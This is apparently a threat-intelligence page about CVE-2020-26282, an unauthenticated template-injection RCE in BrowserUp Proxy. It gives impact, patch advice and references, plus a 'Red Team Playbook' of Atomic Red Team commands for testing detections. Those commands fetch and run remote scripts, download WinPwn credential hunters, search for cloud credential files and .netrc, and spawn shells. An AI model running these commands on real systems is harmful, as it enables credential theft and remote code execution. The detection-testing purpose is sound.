CVE-2020-26282
Overview
The vulnerability in browserup-proxy is a Server-Side Template Injection (SSTI) caused by improper validation of user-supplied input that is evaluated as Java Expression Language (EL) expressions. This flaw resides in the template processing component responsible for handling HTTP request and response manipulation. The root cause is the unsafe evaluation of arbitrary EL expressions without sufficient sanitization, allowing injection of malicious code within the proxy's template engine.
Vulnerability Description
BrowserUp Proxy allows you to manipulate HTTP requests and responses, capture HTTP content, and export performance data as a HAR file. BrowserUp Proxy works well as a standalone proxy server, but it is especially useful when embedded in Selenium tests. A Server-Side Template Injection was identified in BrowserUp Proxy enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability. This has been patched in version 2.1.2.
Impact
An unauthenticated attacker with network access to the proxy can execute arbitrary Java EL code remotely, resulting in full remote code execution on the host running browserup-proxy. No user interaction or privileges are required (AV:N/AC:L/PR:N/UI:N), and the vulnerability affects confidentiality and integrity at a critical level (C:H/I:H/A:N). This can lead to unauthorized control over the proxy server environment, potentially compromising sensitive data and disrupting automated testing or proxy operations.
Solution
Users of browserup-proxy must upgrade to version 2.1.2 or later, as this release contains the fix for the Server-Side Template Injection vulnerability. Detailed patch information and update instructions are available in the official advisory at https://github.com/browserup/browserup-proxy/security/advisories/GHSA-wmfg-55f9-j8hq and the release notes at https://github.com/browserup/browserup-proxy/releases/tag/v2.1.2. No additional workarounds are documented by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability identified in BrowserUp Proxy stems from a Server-Side Template Injection (SSTI) flaw, which allows attackers to inject arbitrary Java EL (Expression Language) expressions into the application. This occurs due to improper handling of user input within the templating engine used by the proxy server. When an attacker successfully exploits this vulnerability, they can execute arbitrary code on the server, leading to unauthenticated Remote Code Execution (RCE). The implications of this flaw are severe, as it provides attackers with the ability to manipulate server-side processes, potentially compromising the integrity and confidentiality of the system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker might craft a malicious HTTP request that includes specially formatted input targeting the templating engine. If the application processes this input without adequate validation or sanitization, the attacker can execute arbitrary commands on the server. This could be done in scenarios where the proxy is used to handle requests from untrusted sources, such as during automated testing with Selenium. Attackers could leverage this vulnerability to gain control over the server, exfiltrate sensitive data, or pivot to other systems within the network.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on BrowserUp Proxy for testing and performance monitoring. The ability to execute arbitrary code remotely can lead to data breaches, unauthorized access to sensitive information, and disruption of services. For businesses, the risks include financial losses, reputational damage, and potential legal ramifications stemming from data protection regulations. The high CVSS score of 10.0 underscores the critical nature of this vulnerability, indicating that it poses an extreme risk to any environment where the affected product is deployed.
To detect and mitigate this vulnerability, organizations should first ensure that they are using the patched version of BrowserUp Proxy (version 2.1.2 or later). Regularly updating software components is a fundamental practice in cybersecurity hygiene. Additionally, implementing web application firewalls (WAF) can help filter out malicious requests that attempt to exploit SSTI vulnerabilities. Organizations should also conduct thorough security assessments and code reviews to identify and remediate potential injection points within their applications. Employing input validation and sanitization techniques can further reduce the risk of exploitation by ensuring that user inputs are properly handled before being processed by the server.
In conclusion, the Server-Side Template Injection vulnerability in BrowserUp Proxy represents a critical threat that can lead to severe consequences for affected organizations. Understanding the technical details, potential attack vectors, and real-world implications is essential for cybersecurity professionals tasked with protecting their systems. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and safeguard their assets against this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-26282, rising by over 90% and placing it near the 90th percentile for exploit likelihood. This upward trend, coupled with a steady week-over-week increase, signals growing attacker interest and potential preparatory activity, despite the absence of newly reported exploit code or active campaigns in our telemetry. The heightened EPSS score suggests that threat actors may be prioritizing this vulnerability for future exploitation, likely due to its critical severity and the unauthenticated remote code execution impact. For defenders, this shift underscores an elevated risk posture that warrants increased vigilance in monitoring and detection efforts around BrowserUp Proxy deployments. While no direct exploitation has been observed, the rapid rise in predictive exploitability indicates that the window for proactive defense is narrowing, and organizations should consider this vulnerability a higher priority within their risk management frameworks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Browserup | Browserup Proxy | All |
cpe:2.3:a:browserup:browserup_proxy:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-26282 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/browserup/browserup-proxy/security/advisories/GHSA-wmfg-55f9-j8hq |
| securitylab.github.com |
GitHub CVE
x_refsource_MISC
|
https://securitylab.github.com/research/bean-validation-RCE |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/browserup/browserup-proxy/releases/tag/v2.1.2 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/browserup/browserup-proxy/commit/4b38e7a3e20917e5c3329d0d4e9590bed9d578ab |